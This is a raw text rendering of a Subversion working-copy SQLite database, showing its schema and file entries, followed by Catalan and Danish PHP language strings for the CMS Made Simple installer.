*Y$md5 $3b6bf70a3ce396587ee86a80f7d3ea85	*Y$md5 $7b3611e2f29004cd7c0ba560ff036584*Y$md5 $f8a52e773dceda649d3e986b8931e131*Y$md5 $9ace92ba25a9e38ca8e6551047e37530*Y$md5 $4e638c327bf688c7956f92f60342da2f*Y$md5 $3eca85fae5db43ab9e3c870718935a9c*Y$md5 $49330428dce1d872094ab43f6ecbbca3*Y$md5 $c8597239c374c0ace280f4b1134bd1d7)Y	$md5 $3322024c5d5cf7214593754f34e9d1e8                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DDDDDDDDDDD                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      L(file-install it_IT.php 1 0 1 1)  L(file-install pt_PT.php 1 0 1 1)  rL(file-install uk_UA.php 1 0 1 1)  ML(file-install nl_NL.php 1 0 1 1)  (L(file-install da_DK.php 1 0 1 1)  L(file-install de_DE.php 1 0 1 1)   L(file-install sv_SE.php 1 0 1 1)   L(file-install fr_FR.php 1 0 1 1)   L(file-install ru_RU.php 1 0 1 1)   oL(file-install nb_NO.php 1 0 1 1)   JL(file-install sk_SK.php 1 0 1 1)# L(file-install fr_FR.php 1 0 1 1)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     	
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       		  	r^I5 
                                                                                                                                                                                                                                                                                                                                                                                                                             			_   i !d  da_DK.phpmodules/cmspharinstall/lang/ext/da_DK.php_normalfile()$sha1$ecc1227d43ac759d7a6dd6ef9e062012972d3384[o uDBtranslator F #(svn:wc:ra_dav:version-url 77 /svn/translatecenter/!svn/ver/23407/modules/cmspharinstall/lang/ext/da_DK.php)    	K    !    modules/cmspharinstall/lang/ext_normaldir()infinity_ 
translator()   		_   i !  d  it_IT.phpmodules/cmspharinstall/lang/ext/it_IT.php_normalfile()$sha1$452579cb34b89e5ff99f063aa235d9f	b	 	K    !    modules/cmspharinstall/lang/ext_normaldir()infinity_ {translator()		_   i !d  it_IT.phpmodules/cmspharinstall/lang/ext/it_IT.php_normalfile()$sha1$452579cb34b89e5ff99f063aa235d91503c761e1] $KXtranslator F #(svn:wc:ra_dav:version-url 77 /svn/translatecenter/!svn/ver/24057/modules/cmspharinstall/lang/ext/it_IT.php)		_   i !d  pt_PT.phpmodules/cmspharinstall/lang/ext/pt_PT.php_normalfile()$sha1$917fe7efbbc9b437dedb7c8d8441afaa95cd4878Y& Iw0ptranslator~ #(svn:wc:ra_dav:version-url 77 /svn/translatecenter/!svn/ver/22822/modules/cmspharinstall/lang/ext/pt_PT.php)		_   i !d  uk_UA.phpmodules/cmspharinstall/lang/ext/uk_UA.php_normalfile()$sha1$0ed15864535f3e96695d4dc733fa656ff2c43c8a\ z|Ztranslator P #N>(svn:wc:ra_dav:version-url 77 /svn/translatecenter/!svn/ver/23713/modules/cmspharinstall/lang/ext/uk_UA.php)
		_   i !d  nl_NL.phpmodules/cmspharinstall/lang/ext/nl_NL.php_normalfile()$sha1$61a52da0736de969cfb0b08a37d125d05adcc5d0_ 
translatorjq #(svn:wc:ra_dav:version-url 77 /svn/translatecenter/!svn/ver/24485/modules/cmspharinstall/lang/ext/nl_NL.php)		_   i !d  de_DE.phpmodules/cmspharinstall/lang/ext/de_DE.php_normalfile()$sha1$0358b59d9dfb528bb88372ee5a718edbf9ea6e85_ ׽	translator( #<(svn:wc:ra_dav:version-url 77 /svn/translatecenter/!svn/ver/24347/modules/cmspharinstall/lang/ext/de_DE.php)		_   i !d  sv_SE.phpmodules/cmspharinstall/lang/ext/sv_SE.php_normalfile()$sha1$bb02def8058a0a1760e2742d965bd107f815b556VP Urtranslator #o(svn:wc:ra_dav:version-url 77 /svn/translatecenter/!svn/ver/22096/modules/cmspharinstall/lang/ext/sv_SE.php)		_   i !d  fr_FR.phpmodules/cmspharinstall/lang/ext/fr_FR.php_normalfile()$sha1$9b2b574de894fa79f34e6c3360c3d5883bdaa036_ {translator  >TD(svn:wc:ra_dav:version-url 77 /svn/translatecenter/!svn/ver/24515/modules/cmspharinstall/lang/ext/fr_FR.php)		_   i !d  ru_RU.phpmodules/cmspharinstall/lang/ext/ru_RU.php_normalfile()$sha1$9d59440f77fb0d01e65647c5afe6d20d351fe468_4 ڋtranslator  ##(svn:wc:ra_dav:version-url 77 /svn/translatecenter/!svn/ver/24372/modules/cmspharinstall/lang/ext/ru_RU.php)		_   i !d  nb_NO.phpmodules/cmspharinstall/lang/ext/nb_NO.php_normalfile()$sha1$460cd0290e2dd2d49df60e9784ffd227f05f1622_  %6Đtranslator{ #q(svn:wc:ra_dav:version-url 77 /svn/translatecenter/!svn/ver/24465/modules/cmspharinstall/lang/ext/nb_NO.php)		_   i !d  sk_SK.phpmodules/cmspharinstall/lang/ext/sk_SK.php_normalfile()$sha1$2ad3871308764a429d9c31413a238dac20fb6eefW +
translatorC #(svn:wc:ra_dav:version-url 77 /svn/translatecenter/!svn/ver/22485/modules/cmspharinstall/lang/ext/sk_SK.php)		_   i !d  ca_ES.phpmodules/cmspharinstall/lang/ext/ca_ES.php_normalfile()$sha1$3c489ef91f90807823975bd3d737e0d334453dcf^ ȫzAtranslator #^	(svn:wc:ra_dav:version-url 77 /svn/translatecenter/!svn/ver/24226/modules/cmspharinstall/lang/ext/ca_ES.php)
 3 3z:jJZ                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 		it_IT.php	pt_PT.php	uk_UA.php	nl_NL.php
	da_DK.php		de_DE.php	sv_SE.php	fr_FR.php	ru_RU.php	nb_NO.php	sk_SK.php	ca_ES.php   	
 % %q-`>O                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   	 	it_IT.php	pt_PT.php	uk_UA.php	nl_NL.php
	da_DK.php		de_DE.php	sv_SE.php	fr_FR.php	ru_RU.php	nb_NO.php	sk_SK.php	ca_ES.php   	
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               	 	 	 	 	 
	 		 	 	 	 	 	 	    	  &H@?	o@  j                                                !!viewNODES_BASENODES_BASECREATE VIEW NODES_BASE AS   SELECT * FROM nodes   WHERE op_depth = 0''QviewNODES_CURRENTNODES_CURRENTCREATE VIEW NODES_CURRENT AS   SELECT * FROM nodes AS n     WHERE op_depth = (SELECT MAX(op_depth) FROM nodes AS n2                       WHERE n2.wc_id = n.wc_id                         AND n2.local_relpath = n.local_relpath)e'indexI_NODES_MOVEDNODESCREATE UNIQUE INDEX I_NODES_MOVED ON NODES (wc_id, moved_to, op_depth)))indexI_NODES_PARENTNODESCREATE UNIQUE INDEX I_NODES_PARENT ON NODES (wc_id, parent_relpath,                                              local_relpath, op_depth)	tableNODESNODESCREATE TABLE NODES (   wc_id  INTEGER NOT NULL REFERENCES WCROOT (id),   local_relpath  TEXT NOT NULL,   op_depth INTEGER NOT NULL,   parent_relpath  TEXT,   repos_id  INTEGER REFERENCES REPOSITORY (id),   repos_path  TEXT,   revision  INTEGER,   presence  TEXT NOT NULL,   moved_here  INTEGER,   moved_to  TEXT,   kind  TEXT NOT NULL,   properties  BLOB,   depth  TEXT,   checksum  TEXT REFERENCES PRISTINE (checksum),   symlink_target  TEXT,   changed_revision  INTEGER,   changed_date      INTEGER,   changed_author    TEXT,   translated_size  INTEGER,   last_mod_time  INTEGER,   dav_cache  BLOB,   file_external  INTEGER,   inherited_props  BLOB,   PRIMARY KEY (wc_id, local_relpath, op_depth)   ))= indexsqlite_autoindex_NODES_1NODEStableWC_LOCKWC_LOCKCREATE TABLE WC_LOCK (   wc_id  INTEGER NOT NULL  REFERENCES WCROOT (id),   local_dir_relpath  TEXT NOT NULL,   locked_levels  INTEGER NOT NULL DEFAULT -1,   PRIMARY KEY (wc_id, local_dir_relpath)  )-A indexsqlite_autoindex_WC_LOCK_1WC_LOCK !!EtableWORK_QUEUEWORK_QUEUECREATE TABLE WORK_QUEUE (   id  INTEGER PRIMARY KEY AUTOINCREMENT,   work  BLOB NOT NULL   )
wtableLOCKLOCKCREATE TABLE LOCK (   repos_id  INTEGER NOT NULL REFERENCES REPOSITORY (id),   repos_relpath  TEXT NOT NULL,   lock_token  TEXT NOT NULL,   lock_owner  TEXT,   lock_comment  TEXT,   lock_date  INTEGER,   PRIMARY KEY (repos_id, repos_relpath)   ) ); indexsqlite_autoindex_LOCK_1LOCK4+#'indexI_ACTUAL_PARENTACTUAL_NODECREATE UNIQUE INDEX I_ACTUAL_PARENT ON ACTUAL_NODE (wc_id, parent_relpath,                                                     local_relpath)<##?tableACTUAL_NODEACTUAL_NODECREATE TABLE ACTUAL_NODE (   wc_id  INTEGER NOT NULL REFERENCES WCROOT (id),   local_relpath  TEXT NOT NULL,   parent_relpath  TEXT,   properties  BLOB,   conflict_old  TEXT,   conflict_new  TEXT,   conflict_working  TEXT,   prop_reject  TEXT,   changelist  TEXT,   text_mod  TEXT,   tree_conflict_data  TEXT,   conflict_data  BLOB,   older_checksum  TEXT REFERENCES PRISTINE (checksum),   left_checksum  TEXT REFERENCES PRISTINE (checksum),   right_checksum  TEXT REFERENCES PRISTINE (checksum),   PRIMARY KEY (wc_id, local_relpath)   )5I# indexsqlite_autoindex_ACTUAL_NODE_1ACTUAL_NODEX)yindexI_PRISTINE_MD5PRISTINECREATE INDEX I_PRISTINE_MD5 ON PRISTINE (md5_checksum)M	mtablePRISTINEPRISTINE
CREATE TABLE PRISTINE (   checksum  TEXT NOT NULL PRIMARY KEY,   compression  INTEGER,   size  INTEGER NOT NULL,   refcount  INTEGER NOT NULL,   md5_checksum  TEXT NOT NULL   )/
C indexsqlite_autoindex_PRISTINE_1PRISTINE_+indexI_LOCAL_ABSPATHWCROOT	CREATE UNIQUE INDEX I_LOCAL_ABSPATH ON WCROOT (local_abspath)xKtableWCROOTWCROOTCREATE TABLE WCROOT (   id  INTEGER PRIMARY KEY AUTOINCREMENT,   local_abspath  TEXT UNIQUE   )+? indexsqlite_autoindex_WCROOT_1WCROOTD!]indexI_ROOTREPOSITORYCREATE INDEX I_ROOT ON REPOSITORY (root)D!]indexI_UUIDREPOSITORYCREATE INDEX I_UUID ON REPOSITORY (uuid)P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)!!tableREPOSITORYREPOSITORYCREATE TABLE REPOSITORY (   id INTEGER PRIMARY KEY AUTOINCREMENT,   root  TEXT UNIQUE NOT NULL,   uuid  TEXT NOT NULL   )3G! indexsqlite_autoindex_REPOSITORY_1REPOSITORY        e XsDlA

.	$e                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           K %%[tablesqlite_stat1sqlite_stat1CREATE TABLE sqlite_stat1(tbl,idx,stat)s3!indexI_EXTERNALS_DEFINEDEXTERNALSCREATE UNIQUE INDEX I_EXTERNALS_DEFINED ON EXTERNALS (wc_id,                                                       def_local_relpath,                                                       local_relpath)V{tableEXTERNALSEXTERNALSCREATE TABLE EXTERNALS (   wc_id  INTEGER NOT NULL REFERENCES WCROOT (id),   local_relpath  TEXT NOT NULL,   parent_relpath  TEXT NOT NULL,   repos_id  INTEGER NOT NULL REFERENCES REPOSITORY (id),   presence  TEXT NOT NULL,   kind  TEXT NOT NULL,   def_local_relpath         TEXT NOT NULL,   def_repos_relpath         TEXT NOT NULL,   def_operational_revision  TEXT,   def_revision              TEXT,   PRIMARY KEY (wc_id, local_relpath) )1E indexsqlite_autoindex_EXTERNALS_1EXTERNALS       LGEtriggernodes_update_checksum_triggernodesCREATE TRIGGER nodes_update_checksum_trigger AFTER UPDATE OF checksum ON nodes WHEN NEW.checksum IS NOT OLD.checksum BEGIN   UPDATE pristine SET refcount = refcount + 1   WHERE checksum = NEW.checksum;   UPDATE pristine SET refcount = refcount - 1   WHERE checksum = OLD.checksum; ENDW5mtriggernodes_delete_triggernodesCREATE TRIGGER nodes_delete_trigger AFTER DELETE ON nodes WHEN OLD.checksum IS NOT NULL BEGIN   UPDATE pristine SET refcount = refcount - 1   WHERE checksum = OLD.checksum; ENDW5mtriggernodes_insert_triggernodesCREATE TRIGGER nodes_insert_trigger AFTER INSERT ON nodes WHEN NEW.checksum IS NOT NULL BEGIN   UPDATE pristine SET refcount = refcount + 1   WHERE checksum = NEW.checksum; ENDc!!viewNODES_BASENODES_BASECREATE VIEW NODES_BASE AS   SELECT * FROM nodes   WHERE op_depth = 0''QviewNODES_CURRENTNODES_CURRENTCREATE VIEW NODES_CURRENT AS   SELECT * FROM nodes AS n     WHERE op_depth = (SELECT MAX(op_depth) FROM nodes AS n2                       WHERE n2.wc_id = n.wc_id                         AND n2.local_relpath = n.local_relpath)e'indexI_NODES_MOVEDNODESCREATE UNIQUE INDEX I_NODES_MOVED ON NODES (wc_id, moved_to, op_depth)))indexI_NODES_PARENTNODESCREATE UNIQUE INDEX I_NODES_PARENT ON NODES (wc_id, parent_relpath,                                              local_relpath, op_depth))= indexsqlite_autoindex_NODES_1NODESU	tableNODESNODESCREATE TABLE NODES (   wc_id  INTEGER NOT NULL REFERENCES WCROOT (id),   local_relpath  TEXT NOT NULL,   op_depth INTEGER NOT NULL,   parent_relpath  TEXT,   repos_id  INTEGER REFERENCES REPOSITORY (id),   repos_path  TEXT,   revision  INTEGER,   presence  TEXT NOT NULL,   moved_here  INTEGER,   moved_to  TEXT,   kind  TEXT NOT NULL,   properties  BLOB,   depth  TEXT,   checksum  TEXT REFERENCES PRISTINE (checksum),   symlink_target  TEXT,   changed_revision  INTEGER,   changed_date      INTEGER,   changed_author    TEXT,   translated_size  INTEGER,   last_mod_time  INTEGER,   dav_cache  BLOB,   file_external  INTEGER,   inherited_props  BLOB,   PRIMARY KEY (wc_id, local_relpath, op_depth)   )-A indexsqlite_autoindex_WC_LOCK_1WC_LOCKbtableWC_LOCKWC_LOCKCREATE TABLE WC_LOCK (   wc_id  INTEGER NOT NULL  REFERENCES WCROOT (id),   local_dir_relpath  TEXT NOT NULL,   locked_levels  INTEGER NOT NULL DEFAULT -1,   PRIMARY KEY (wc_id, local_dir_relpath)  )}!!EtableWORK_QUEUEWORK_QUEUECREATE TABLE WORK_QUEUE (   id  INTEGER PRIMARY KEY AUTOINCREMENT,   work  BLOB NOT NULL   )'; indexsqlite_autoindex_LOCK_1LOCK                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 	_ H_                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     +	3#EXTERNALSI_EXTERNALS_DEFINED100 100 3 12EEXTERNALSsqlite_autoindex_EXTERNALS_1100 100 1.AWC_LOCKsqlite_autoindex_WC_LOCK_1100 100 1(;LOCKsqlite_autoindex_LOCK_1100 100 1,#+)ACTUAL_NODEI_ACTUAL_PARENT8000 8000 10 18#I#ACTUAL_NODEsqlite_autoindex_ACTUAL_NODE_18000 8000 1#''NODESI_NODES_MOVED8000 8000 1 1')-NODESI_NODES_PARENT8000 8000 10 2 1.='NODESsqlite_autoindex_NODES_18000 8000 2 1<?php
$lang['action_freshen'] = 'Refrescant / Reparant %s instal.lació  de CMS';
$lang['action_install'] = 'Creant un nou web %s CMSMS';
$lang['action_upgrade'] = 'Actualitzant un Web CMSMS a versió %s';
$lang['advanced_mode'] = 'Habilita el mode avançat';
?><?php
$lang['action_freshen'] = 'Genopfriskning eller reparation af en CMSMS %s installation';
$lang['action_install'] = 'Opretter en ny CMSMS-baseret hjemmeside';
$lang['action_upgrade'] = 'Opgraderer en CMSMS-hjemmeside til version %s';
$lang['advanced_mode'] = 'Anvend avanceret metode';
$lang['apptitle'] = 'Hjælper til installation og opgradering';
$lang['assets_dir_exists'] = 'Mappe til aktiver eksisterer';
$lang['available_languages'] = 'Tilgængelige sprog';
$lang['build_date'] = 'Kompileringsdato';
$lang['changelog_uc'] = 'Ændringslog';
$lang['cleaning_files'] = 'Fjerner filer, som ikke længere skal bruges af denne udgivelse';
$lang['config_writable'] = 'Tester om der kan skrives til konfiguationsfilen';
$lang['confirm_freshen'] = 'Er du sikker på, du vil opfriske (reparere) den eksisterende CMSMS-installation? Vær meget forsigtig!';
$lang['confirm_upgrade'] = 'Er du sikker på, du vil påbegynde opgraderingsprocessen?';
$lang['curl_extension'] = 'Tester Curl-udvidelse';
$lang['create_assets_structure'] = 'Opretter lokation til filressourcer';
$lang['database_support'] = 'Tjekker at der findes kompatible databasedrivere';
$lang['desc_wizard_step1'] = 'Begynd installations -eller opgraderingsproces';
$lang['desc_wizard_step2'] = 'Analyserer destinationsmappe mht. eksisterende software';
$lang['desc_wizard_step3'] = 'Tester og sikrer at alt er i orden således at CMSMS\' kerne kan installeres';
$lang['desc_wizard_step4'] = 'Indtast grundliggende konfiguraitons-info mhp. nye installationer og genopfriskende operationer';
$lang['desc_wizard_step5'] = 'Er der tale om en ny installation, så indtast info vedrørende administratorens konto';
$lang['desc_wizard_step6'] = 'Er der tale om en ny installation, så indtast nogle grundliggende detaljer om hjemmesiden';
$lang['desc_wizard_step7'] = 'Udpak filer';
$lang['desc_wizard_step8'] = 'Opret eller opdatér database-skema, sæt indledende handlinger, tilladelser, brugerkonti, skabeloner, typografiark og indhold';
$lang['desc_wizard_step9'] = 'Installér og/eller opgradér moduler, hvor det er nødvendigt, skriv konfigurationsfilen og ryd op.';
$lang['destination_directory'] = 'Destinationsmappe';
$lang['dest_writable'] = 'Opret tilladelser for destinationsmappen';
$lang['disable_functions'] = 'Tester for deaktiverede funktioner';
$lang['done'] = 'udført';
$lang['email_accountinfo_message'] = 'Installationen af CMS Made Simple er færdig.

Denne email indeholder følsomme informationer og bør gemmes et sikkert sted.

Her følger diverse oplysninger angående din installion.
Brugernavn: %s
Adgangskode: %s
Installationsmappe: %s
Rodadresse: %s';
$lang['email_accountinfo_message_exp'] = 'Installationen af CMS Made Simple er færdig.

Denne email indeholder følsomme informationer og bør gemmes et sikkert sted.

Her følger diverse oplysninger angående din installion.
Brugernavn: %s
Adgangskode: %s
Installationsmappe: %s';
$lang['email_accountinfo_subject'] = 'Installation af CMS Made Simple udført';
$lang['emailaccountinfo'] = 'Send email med kontooplysninger';
$lang['emailaddr'] = 'Email adresse';
$lang['error_adminacct_emailaddr'] = 'Den indtastede email adresse er ikke gyldig';
$lang['error_adminacct_emailaddrrequired'] = 'Du har angivet, at kontooplysningerne skal sendes pr., email, men den indtastede email adresse er ikke gyldig';
$lang['error_adminacct_password'] = 'Den indtastede adgangskode er ikke gyldig (den skal bestå af mindst seks tegn)';
$lang['error_adminacct_repeatpw'] = 'De to indtastede adgangskoder stemmer ikke overens';
$lang['error_adminacct_username'] = 'Det indtastede brugernavn er ikke gyldigt. Prøv venligst igen';
$lang['error_admindirrenamed'] = 'Det ser ud til at du, af sikkerhedsmæssige hensyn, har omdøbt din CMSMS administratormappe. Du er derfor nødt til at omgøre <a href="http://docs.cmsmadesimple.org/general-information/securing-cmsms#renaming-admin-folder" target="_blank" class="external">denne proces</a>, før du kan fortsætte!<br /><br />Når du har genoprettet oprindeligt navn på og sti til administrationsmappen, bedes du venligst genindlæse denne side.';
$lang['error_backupconfig'] = 'Vi var ikke i stand til at tage en ordentlig backup af konfigurationsfilen';
$lang['error_checksum'] = 'Tjeksummen for den udpakkede fil svarer ikke til den oprindelige';
$lang['error_cmstablesexist'] = 'Det ser ud til, at der allerede findes en installation af CMS i denne database. Indtast venligst informationer vedrørende en anden database. Hvis du godt vil bruge et andet præfiks til tabellerne, kan det være nødvendigt at genstarte installationsprocessen og så anvende den avancerede metode.';
$lang['error_createtable'] = 'Oprettelse af databasetabel stødte ind i problemer... Måske mangler de fornødne tilladelser';
$lang['error_dbconnect'] = 'Vi kunne ikke oprette forbindelse til databasen. Dobbelttjek venligst de oplysninger, som du har angivet';
$lang['error_dirnotvalid'] = 'Mappen %s findes ikke (eller der mangler en skrivetilladelse den)';
$lang['error_droptable'] = 'Sletning af databasetabel stødte ind i problemer... Måske mangler de fornødne tilladelser';
$lang['error_filenotwritable'] = 'Filen %s kunne ikke overskrives (problem med tilladelser)';
$lang['error_internal'] = 'Beklager, et eller andet er gået galt... (intern fejl) (%s)';
$lang['error_invalid_directory'] = 'Det ser ud til, at den mappe, som du har valgt til installationen, er den samme mappe som installalationsfilerne selv bruger';
$lang['error_invalidconfig'] = 'Der er enten en fejl i konfigurationsfilen eller denne fil mangler';
$lang['error_invaliddbpassword'] = 'Adgangskoden til databasen indeholder ugyldige tegn, som det ikke er forsvarligt at gemme';
$lang['error_invalidkey'] = 'Ugyldig medlemsvariabel eller nøgle %s for klassen %s';
$lang['error_invalidparam'] = 'Ugyldig parameter eller værdi for parametren %s';
$lang['error_invalidtimezone'] = 'Den angivne tidszone er ugyldig';
$lang['error_invalidqueryvar'] = 'Den indtastede variabel i forbindelse med forespørgslen indeholder ugyldige tegn. Anvend venligst kun alfanumeriske tegn samt underscore.';
$lang['error_missingconfigvar'] = 'Enten mangler nøglen "%s" eller denne er ugyldig i config.ini filen';
$lang['error_noarchive'] = 'Der er problemer med at finde den pakkede arkivfil... Genstart venligst';
$lang['error_nlsnotfound'] = 'Der er problemer med at finde NLS-filer i arkivfilen';
$lang['error_nodatabases'] = 'Der blev ikke fundet en kompatibel database-ekstension';
$lang['error_nodbhost'] = 'Indtast venligst et gyldigt værtsnavn (eller IP adresse) til databaseforbindelsen';
$lang['error_nodbname'] = 'Indtast venligst navnet på en gyldig database eller vært som specificeret ovenfor';
$lang['error_nodbpass'] = 'Indtast venligst en gyldig adgangskode som godkendelse til databasen';
$lang['error_nodbprefix'] = 'Indtast venligst et gyldigt præfiks til databasens tabeller';
$lang['error_nodbtype'] = 'Vælg venligst en databasetype';
$lang['error_nodbuser'] = 'Indtast venligst et gyldigt brugernavn som godkendelse til databasen';
$lang['error_nodestdir'] = 'Destinationsmappe er ikke angivet';
$lang['error_nositename'] = 'Navnet på hjemmesiden er et obligatorisk parameter. Indtast venligst et passende navn for din hjemmeside.';
$lang['error_notimezone'] = 'Angiv venligst en gyldig tidszone for denne server';
$lang['error_overwrite'] = 'Der er et problem vedrørende tilladelser: %s kan ikke overskrives';
$lang['error_sendingmail'] = 'Fejl under afsendelse af email';
$lang['error_tzlist'] = 'Der er problemer med at finde listen over tidszone-identifikatorer';
$lang['errorlevel_estrict'] = 'Tjekker E_STRICT';
$lang['errorlevel_edeprecated'] = 'Tjek af';
$lang['edeprecated_enabled'] = 'E_DEPRECATED er i anvendelse i PHPs fejlrapporteringssektion. Selvom dette ikke forhindrer CMSMS i at fungere, så kan det resultere i, at der vises advarselsmeddelelser på skærmen - især fra ældre 3. parts moduler';
$lang['estrict_enabled'] = 'E_STRICT er i anvendelse i PHPs fejlrapporteringssektion. Selvom dette ikke forhindrer CMSMS i at fungere, så kan det resultere i, at der vises advarselsmeddelelser på skærmen - især fra ældre 3. parts moduler';
$lang['fail_assets_dir'] = 'Mappen assets findes allerede. Denne applikation skriver muligvis til denne mappe for at rationalisere lokaliseringen af filerne. Du bedes venligst sikre dig, at du har taget backup';
